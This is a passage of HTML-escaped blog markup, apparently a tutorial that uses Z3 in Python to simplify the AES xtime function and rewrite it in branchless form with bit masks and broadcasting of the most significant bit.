&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
   &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
          &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you see, this &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the previous one yield the &lt;strong&gt;same result&lt;/strong&gt; after applying &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;z3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;simplify&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However I’m going to keep those simplifications explicit in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for further optimizations later.&lt;/p&gt;
&lt;h2 id="branchless-ite"&gt;Branchless ITE&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; condition is equivalent to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The key point to notice is that when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; then &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;; when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; then &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With this &lt;em&gt;single bit boolean&lt;/em&gt; we can get rid of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; doing a &lt;strong&gt;branchless&lt;/strong&gt; &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#IntegerMinOrMax"&gt;bithack&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xtime_branchless&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0x1B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;condval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# it can be 0 or 1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condval&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;xtime_branchless&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xtime_branchless&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We don’t longer have an ITE expression!&lt;/p&gt;
&lt;p&gt;But there is a catch…&lt;/p&gt;
&lt;h2 id="bit-broadcasting"&gt;Bit broadcasting&lt;/h2&gt;
&lt;p&gt;The catch is that we have some multiplications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These come from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;condval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 0, then &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 0, represented as eight &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condval&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; goes to 0 and the expression reduces to the left part of the main xor: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elseval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;condval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 1, then &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 1, represented as eight &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits because in Z3 (and it a lot of other languages), the negative numbers are in 2-complement representation.&lt;/p&gt;
&lt;p&gt;This &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits mask &lt;em&gt;allows&lt;/em&gt; the right side to be xor’d with the left side &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that reduces to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;thenval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This why the &lt;strong&gt;branchless&lt;/strong&gt; bithack works and more over, from &lt;em&gt;where&lt;/em&gt; those multiplications come: from the 2-complement.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;z3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;simplify&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was &lt;strong&gt;not&lt;/strong&gt; smart enough to &lt;em&gt;broadcasting&lt;/em&gt; the least significant bit of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We could do it better &lt;em&gt;broadcasting&lt;/em&gt; the most significant bit of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and build the &lt;em&gt;condition mask&lt;/em&gt; directly:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Concat&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xtime_broadcasted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0x1B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;condmask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;msb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# broadcast a single bit to 8 bits&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;condmask&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;xtime_broadcasted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                        &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                        &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                                        &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                                        &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                                   &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                            &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                     &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
